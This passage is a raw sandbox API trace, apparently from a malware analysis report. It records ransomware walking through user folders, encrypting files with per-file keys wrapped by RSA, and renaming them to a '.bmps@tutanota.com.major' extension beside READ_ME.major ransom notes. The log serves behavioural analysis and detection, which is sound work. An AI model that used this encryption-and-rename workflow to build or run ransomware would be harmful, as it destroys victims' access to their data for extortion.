RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.268] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="cDEnG5FBkDQjYrGot3VQcds7SuYJwe1YDpAVOcgvgJOeRWPP4MViJ7AFDvv/h6JP\nS8couMseCtfdlxig4IKZwDhfsXoOND+seUPN8J/pQnF9UNKyTkvBLUCEwuZaeEaj\nVtjkMjy2YKBLTwT8571yzi7dScFHJR96XTABPcF3T0m5OUrCVhEk6C7cOz0J/Urs\nBKnfIWBlZ1HXrLodBh8u25hJgZdD+PDXZOWNUBMaoAuBSxQd0x5Gzf1q/VyBQ5gJ\n/Bx9vmN176ltk1mz0Z74Af1L2HcaPafroBW/NX7N8G5lQ9SrM0frH4u7GT2B2J4v\nBhHkA64RIAYvwBQxi3EWPQ==\n", pcchString=0x2e3f9a8) returned 1 [0149.268] WriteFile (in: hFile=0x60c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.269] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.269] WriteFile (in: hFile=0x60c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.269] CloseHandle (hObject=0x60c) returned 1 [0149.269] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.269] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Videos\\BRqP.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\brqp.mkv"), lpNewFileName="\\Users\\FD1HVy\\Videos\\BRqP.mkv.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\videos\\brqp.mkv.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0149.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0149.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0149.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed28 | out: hHeap=0x570000) returned 1 [0149.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0149.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc10 | out: hHeap=0x570000) returned 1 [0149.274] FindFirstFileW (in: lpFileName="\\Users\\Public\\AccountPictures\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1536910e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630a00 [0149.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0149.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0149.275] GetLastError () returned 0x0 [0149.275] SetLastError (dwErrCode=0x0) [0149.275] GetLastError () returned 0x0 [0149.275] SetLastError (dwErrCode=0x0) [0149.275] GetLastError () returned 0x0 [0149.275] SetLastError (dwErrCode=0x0) [0149.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e938 [0149.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0149.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0149.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0149.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630fc0 [0149.275] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630fc0 | out: hHeap=0x570000) returned 1 [0149.275] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0149.275] FindNextFileW (in: hFindFile=0x630a00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x3079b77, ftCreationTime.dwHighDateTime=0x1d1a050, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1536910e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0149.276] GetLastError () returned 0x0 [0149.276] SetLastError (dwErrCode=0x0) [0149.276] GetLastError () returned 0x0 [0149.276] SetLastError (dwErrCode=0x0) [0149.276] GetLastError () returned 0x0 [0149.276] SetLastError (dwErrCode=0x0) [0149.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee78 [0149.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630a40 [0149.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0149.276] FindNextFileW (in: hFindFile=0x630a00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0xce317778, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xce317778, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xce317778, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0xc4, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.276] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0149.276] GetLastError () returned 0x0 [0149.276] SetLastError (dwErrCode=0x0) [0149.276] GetLastError () returned 0x0 [0149.277] SetLastError (dwErrCode=0x0) [0149.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0149.277] SetLastError (dwErrCode=0x0) [0149.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0149.277] FindNextFileW (in: hFindFile=0x630a00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1536910e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1536910e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1536910e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0149.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.277] GetLastError () returned 0x0 [0149.277] SetLastError (dwErrCode=0x0) [0149.277] GetLastError () returned 0x0 [0149.277] SetLastError (dwErrCode=0x0) [0149.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0149.277] SetLastError (dwErrCode=0x0) [0149.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.277] FindNextFileW (in: hFindFile=0x630a00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1536910e, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1536910e, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1536910e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0149.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0149.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.277] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0149.277] SetFileAttributesW (lpFileName="\\Users\\Public\\AccountPictures\\desktop.ini", dwFileAttributes=0x80) returned 1 [0149.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0149.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0149.278] CreateFileW (lpFileName="\\Users\\Public\\AccountPictures\\desktop.ini" (normalized: "c:\\users\\public\\accountpictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0149.278] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=196) returned 1 [0149.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc4) returned 0x60e0b8 [0149.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc4) returned 0x60d968 [0149.278] ReadFile (in: hFile=0x610, lpBuffer=0x60e0b8, nNumberOfBytesToRead=0xc4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60e0b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xc4, lpOverlapped=0x0) returned 1 [0149.279] SetFilePointer (in: hFile=0x610, lDistanceToMove=-196, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0149.279] WriteFile (in: hFile=0x610, lpBuffer=0x60d968*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d968*, lpNumberOfBytesWritten=0x2e3f9b4*=0xc4, lpOverlapped=0x0) returned 1 [0149.279] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xc4 [0149.279] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.279] WriteFile (in: hFile=0x610, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.280] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0149.280] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0149.280] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0149.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0149.280] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="AqIrRsiI6GnReSgyC0UZvM7yDbBvk/Ka3JnIvuC3+/WBJj8y6sGU/13oA6Rr8kRY\nPBUXHZSIjWSgtxPyLQFQxvzvAoJnwc0T/jVAQQfEjH9m+xjUD2LzPPa1zypmHKtl\nRdQU2u3/4SXdRlPCL4Ud3k+CC0+cP8SmiLgI9gprXjMD/I4uzNgDUuvPD1ho0FZO\nUbCLfmfPgYGqFo7D9LeDxxWBAfhCXfa/1VwD/4xqaLGTgg2X/0eMig1XjClavZ5l\nhLQoDzGi0wAf2kqTX8hBYpZ62Kw30kCyNmV2LmTfMQ4BnwqayfK63ovWY2h9Xi/l\nu8pI1Jmi/eJd7s6tdbpcrw==\n", pcchString=0x2e3f9a8) returned 1 [0149.280] WriteFile (in: hFile=0x610, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0149.280] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0149.280] WriteFile (in: hFile=0x610, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0149.280] CloseHandle (hObject=0x610) returned 1 [0149.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0149.281] MoveFileExW (lpExistingFileName="\\Users\\Public\\AccountPictures\\desktop.ini" (normalized: "c:\\users\\public\\accountpictures\\desktop.ini"), lpNewFileName="\\Users\\Public\\AccountPictures\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\public\\accountpictures\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0149.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0149.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0149.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0149.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef90 [0149.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7408 | out: hHeap=0x570000) returned 1 [0149.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed98 | out: hHeap=0x570000) returned 1 [0149.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccc88 | out: hHeap=0x570000) returned 1 [0149.288] FindFirstFileW (in: lpFileName="\\Users\\Public\\Desktop\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630940 [0149.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0149.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0149.288] GetLastError () returned 0x0 [0149.288] SetLastError (dwErrCode=0x0) [0149.288] GetLastError () returned 0x0 [0149.288] SetLastError (dwErrCode=0x0) [0149.288] GetLastError () returned 0x0 [0149.288] SetLastError (dwErrCode=0x0) [0149.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0149.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0149.288] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0149.288] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631080 [0149.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631080 | out: hHeap=0x570000) returned 1 [0149.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0149.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0149.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0149.289] FindNextFileW (in: hFindFile=0x630940, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xdc4d01, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x150ba6e4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0149.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0149.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.289] GetLastError () returned 0x0 [0149.289] SetLastError (dwErrCode=0x0) [0149.289] GetLastError () returned 0x0 [0149.289] SetLastError (dwErrCode=0x0) [0149.289] GetLastError () returned 0x0 [0149.289] SetLastError (dwErrCode=0x0) [0149.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee78 [0149.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0149.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0149.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630fc0 [0149.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630fc0 | out: hHeap=0x570000) returned 1 [0149.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0149.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0149.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee78 | out: hHeap=0x570000) returned 1 [0149.289] FindNextFileW (in: hFindFile=0x630940, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38bb5c78, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x38bb5c78, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x38bb5c78, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x852, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Acrobat Reader DC.lnk", cAlternateFileName="ACROBA~1.LNK")) returned 1 [0149.289] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.289] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0149.289] GetLastError () returned 0x0 [0149.289] SetLastError (dwErrCode=0x0) [0149.290] GetLastError () returned 0x0 [0149.290] SetLastError (dwErrCode=0x0) [0149.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0149.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0149.290] GetLastError () returned 0x0 [0149.290] SetLastError (dwErrCode=0x0) [0149.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0149.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0149.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0149.290] FindNextFileW (in: hFindFile=0x630940, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1aa08e58, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5fb62ca, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5fb62ca, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0149.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0149.290] GetLastError () returned 0x0 [0149.290] SetLastError (dwErrCode=0x0) [0149.290] GetLastError () returned 0x0 [0149.290] SetLastError (dwErrCode=0x0) [0149.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0149.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0149.290] GetLastError () returned 0x0 [0149.290] SetLastError (dwErrCode=0x0) [0149.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589928 | out: hHeap=0x570000) returned 1 [0149.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bf028 [0149.290] FindNextFileW (in: hFindFile=0x630940, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4c3ce2c, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe4c3ce2c, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe4c6308a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x91a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0149.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0149.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0149.290] GetLastError () returned 0x0 [0149.290] SetLastError (dwErrCode=0x0) [0149.290] GetLastError () returned 0x0 [0149.290] SetLastError (dwErrCode=0x0) [0149.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0149.290] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0149.291] GetLastError () returned 0x0 [0149.291] SetLastError (dwErrCode=0x0) [0149.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e9a8 [0149.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e9a8 | out: hHeap=0x570000) returned 1 [0149.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0149.291] FindNextFileW (in: hFindFile=0x630940, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef84fc3f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3e7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0149.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0149.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0149.291] GetLastError () returned 0x0 [0149.291] SetLastError (dwErrCode=0x0) [0149.291] GetLastError () returned 0x0 [0149.291] SetLastError (dwErrCode=0x0) [0149.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0149.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0149.291] GetLastError () returned 0x0 [0149.291] SetLastError (dwErrCode=0x0) [0149.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec10 [0149.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec10 | out: hHeap=0x570000) returned 1 [0149.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0149.291] FindNextFileW (in: hFindFile=0x630940, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150ba6e4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x150ba6e4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1536910e, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0149.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0149.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0149.291] GetLastError () returned 0x0 [0149.291] SetLastError (dwErrCode=0x0) [0149.291] GetLastError () returned 0x0 [0149.291] SetLastError (dwErrCode=0x0) [0149.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0149.291] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7138 | out: hHeap=0x570000) returned 1 [0149.291] GetLastError () returned 0x0 [0149.291] SetLastError (dwErrCode=0x0) [0149.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589928 [0149.292] HeapFree 